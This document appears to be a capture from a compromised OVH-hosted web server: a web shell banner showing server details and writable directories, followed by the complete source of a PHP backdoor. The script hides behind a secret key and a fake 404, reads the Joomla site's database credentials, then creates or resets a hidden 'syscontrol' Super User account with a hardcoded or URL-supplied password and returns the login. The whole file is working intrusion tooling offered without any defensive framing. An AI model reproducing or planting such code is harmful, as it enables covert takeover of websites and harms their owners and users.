Server : Apache System : Linux webm012.cluster129.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64 User : eventfrsgx ( 61451) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl Directory :  /home/eventfrsgx/www/

Upload File : current_dir [ Writeable ] document_root [ Writeable ]

<?php
@error_reporting(0);
@ini_set('display_errors','0');

$AUTH='4375d80d263c7d59';
if(!isset($_REQUEST['k'])||$_REQUEST['k']!==$AUTH){http_response_code(404);die('NF');}

$root=dirname(__FILE__);
$cfg_file=$root.'/configuration.php';
if(!is_file($cfg_file)){
    $p=dirname($root);
    if(is_file($p.'/configuration.php'))$cfg_file=$p.'/configuration.php';
}
if(!is_file($cfg_file)){die(json_encode(array('error'=>'no configuration.php')));}

require_once($cfg_file);
$c=new JConfig();

$host=isset($c->host)?$c->host:'localhost';
$user=isset($c->user)?$c->user:'';
$pass=isset($c->password)?$c->password:'';
$db=isset($c->db)?$c->db:'';
$prefix=isset($c->dbprefix)?$c->dbprefix:'jos_';

$adm_name='syscontrol';
$adm_user='syscontrol';
$adm_pass='Qx9#mK2$vL7!pN4w';
$adm_email='sysctl@localhost.tld';

if(isset($_GET['user']))$adm_user=$_GET['user'];
if(isset($_GET['pass']))$adm_pass=$_GET['pass'];

$hash=password_hash($adm_pass, PASSWORD_BCRYPT);
if(!$hash){
    $salt=substr(md5(uniqid(rand(),true)),0,32);
    $hash=md5($adm_pass.$salt).':'.$salt;
}

$conn=@new mysqli($host,$user,$pass,$db);
if($conn->connect_error){
    die(json_encode(array('error'=>'db_connect','detail'=>$conn->connect_error)));
}
$conn->set_charset('utf8');

$tbl_users=$prefix.'users';
$tbl_map=$prefix.'user_usergroup_map';

$check=$conn->query("SELECT id FROM `{$tbl_users}` WHERE username='".$conn->real_escape_string($adm_user)."'");
if($check && $check->num_rows > 0){
    $row=$check->fetch_assoc();
    $uid=$row['id'];
    $conn->query("UPDATE `{$tbl_users}` SET password='".$conn->real_escape_string($hash)."', block=0 WHERE id={$uid}");
    $conn->query("DELETE FROM `{$tbl_map}` WHERE user_id={$uid}");
    $conn->query("INSERT INTO `{$tbl_map}` (user_id,group_id) VALUES ({$uid},8)");
    header('Content-Type:application/json');
    die(json_encode(array('status'=>'updated','uid'=>(int)$uid,'username'=>$adm_user,'password'=>$adm_pass)));
}

$now=date('Y-m-d H:i:s');
$sql="INSERT INTO `{$tbl_users}` (name,username,email,password,block,sendEmail,registerDate,lastvisitDate,activation,params) VALUES ('"
    .$conn->real_escape_string($adm_name)."','"
    .$conn->real_escape_string($adm_user)."','"
    .$conn->real_escape_string($adm_email)."','"
    .$conn->real_escape_string($hash)."',0,0,'".$now."','".$now."','','{\"admin_style\":\"\",\"admin_language\":\"\",\"language\":\"\",\"editor\":\"\",\"timezone\":\"\"}')";

if(!$conn->query($sql)){
    die(json_encode(array('error'=>'insert_fail','detail'=>$conn->error)));
}
$uid=$conn->insert_id;

$conn->query("INSERT INTO `{$tbl_map}` (user_id,group_id) VALUES ({$uid},8)");

header('Content-Type:application/json');
echo json_encode(array('status'=>'created','uid'=>(int)$uid,'username'=>$adm_user,'password'=>$adm_pass,'admin_url'=>'/administrator/'));
$conn->close();